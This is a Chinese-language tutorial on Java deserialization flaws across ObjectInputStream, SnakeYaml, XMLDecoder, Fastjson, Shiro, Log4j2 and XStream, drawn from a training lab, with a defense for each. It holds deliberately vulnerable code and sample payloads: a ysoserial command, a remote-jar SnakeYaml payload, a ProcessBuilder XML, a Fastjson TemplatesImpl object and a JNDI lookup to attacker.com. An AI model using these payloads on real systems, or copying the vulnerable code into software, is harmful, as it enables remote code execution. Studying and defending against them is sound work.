基于JavaSecLab 一款综合Java漏洞平台的学习思考(二)
字数 1581 2025-08-22 12:22:37
Java反序列化漏洞全面解析与防御指南
一、反序列化基础概念
1.1 序列化与反序列化
序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用ObjectOutputStream类的writeObject()方法实现。
反序列化:把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法实现。
1.2 反序列化漏洞原理
攻击者通过受影响的接口直接或间接传入恶意的反序列化对象,造成任意代码执行。Java中反序列化漏洞可分为:
- 原生反序列化类:
ObjectInputStream.readObject()、SnakeYaml、XMLDecoder - 三方组件反序列化:
Fastjson、Jackson、Xstream等
二、原生反序列化漏洞
2.1 ObjectInputStream.readObject()漏洞
漏洞代码示例
public R vul(String payload) {
try {
payload = payload.replace("\\n", "");
byte[] bytes = Base64.getDecoder().decode(payload);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
} catch (Exception e) {
return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
}
}
攻击利用
- 使用ysoserial生成payload:
java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | base64
防御措施
- 禁用不安全反序列化:
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
- 使用黑白名单控制(Apache Commons IO的ValidatingObjectInputStream):
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
ois.reject(java.lang.Runtime.class);
ois.reject(java.lang.ProcessBuilder.class);
ois.accept(Sqli.class); // 只允许反序列化特定类
2.2 SnakeYaml漏洞
漏洞原理
SnakeYAML在反序列化时可以通过!!+全类名指定反序列化的类,实例化过程中可能执行恶意代码。
漏洞代码
public R vul(String payload) {
Yaml y = new Yaml();
y.load(payload);
return R.ok("[+]Java反序列化:SnakeYaml");
}
恶意payload示例
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]
]]
]
防御措施
使用SafeConstructor:
Yaml y = new Yaml(new SafeConstructor());
2.3 XMLDecoder漏洞
漏洞原理
XMLDecoder解析恶意构造的XML时可能执行任意命令。
漏洞代码示例
public R vul(String payload) {
String[] strCmd = payload.split(" ");
StringBuilder xml = new StringBuilder()
.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
.append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
.append("<object class=\"java.lang.ProcessBuilder\">")
.append("<array class=\"java.lang.String\" length=\"").append(strCmd.length).append("\">");
for (int i = 0; i < strCmd.length; i++) {
xml.append("<void index=\"").append(i).append("\"><string>")
.append(strCmd[i]).append("</string></void>");
}
xml.append("</array><void method=\"start\" /></object></java>");
try {
new XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)))
.readObject().toString();
return R.ok("命令执行成功");
} catch (Exception e) {
return R.error("命令执行失败: " + e.getMessage());
}
}
恶意XML示例
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
防御措施
使用SAX解析器替代XMLDecoder:
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
CommandHandler handler = new CommandHandler();
InputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));
saxParser.parse(inputSource, handler);
三、组件反序列化漏洞
3.1 Fastjson反序列化漏洞
漏洞原理
Fastjson在解析JSON时通过@type指定反序列化类,可能触发恶意代码执行。
漏洞代码
public String vul(@RequestBody String content) {
try {
JSONObject jsonObject = JSON.parseObject(content);
return jsonObject.toString();
} catch (Exception e) {
return e.getMessage();
}
}
攻击示例
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADIANAoABwAl..."],
"_name":"a.b",
"_tfactory":{},
"_outputProperties":{}
}
防御措施
- 升级到1.2.83及以上版本
- 禁用AutoType或设置白名单:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("top.whgojp.WhiteListClass");
- 启用SafeMode:
ParserConfig.getGlobalInstance().setSafeMode(true);
3.2 Shiro反序列化漏洞
漏洞原理
Shiro默认使用硬编码AES密钥加密remember-me cookie,攻击者可构造恶意序列化对象。
漏洞利用流程
- 获取Shiro默认密钥:
byte[] key = new CookieRememberMeManager().getCipherKey();
- 构造恶意序列化对象
- 使用AES加密后作为cookie发送
防御措施
- 升级Shiro版本
- 修改默认加密密钥
3.3 Log4j2反序列化漏洞
漏洞原理
Log4j2在日志输出中检测到${}时会调用lookup查询,可能触发JNDI注入。
漏洞代码
public String vul(String payload) {
logger.error(payload);
return "[+]Log4j2反序列化:"+payload;
}
恶意payload
${jndi:ldap://attacker.com/test}
防御措施
- 升级Log4j至2.15.0及以上版本
- 修改配置文件:
log4j2.formatMsgNoLookups=True
3.4 XStream反序列化漏洞
漏洞原理
XStream支持的特殊标签(如dynamic-proxy)可能触发任意代码执行。
防御措施
- 升级XStream版本
- 配置安全框架限制可反序列化的类
四、总结与最佳实践
4.1 代码审计关键点
- JDK(
ObjectInputStream.readObject) XMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
4.2 安全编码规范
- 及时升级组件到最新安全版本
- 禁用不必要的反序列化功能
- 实施严格的白名单机制
- 对用户输入进行严格过滤
- 使用安全替代方案(如SAX替代XMLDecoder)
4.3 漏洞检测方法
- 使用DNS盲打检测Fastjson等漏洞
- 检查默认密钥和配置
- 监控异常日志和网络请求
通过全面理解这些反序列化漏洞的原理和防御措施,开发者可以构建更加安全的Java应用程序,有效防范反序列化攻击。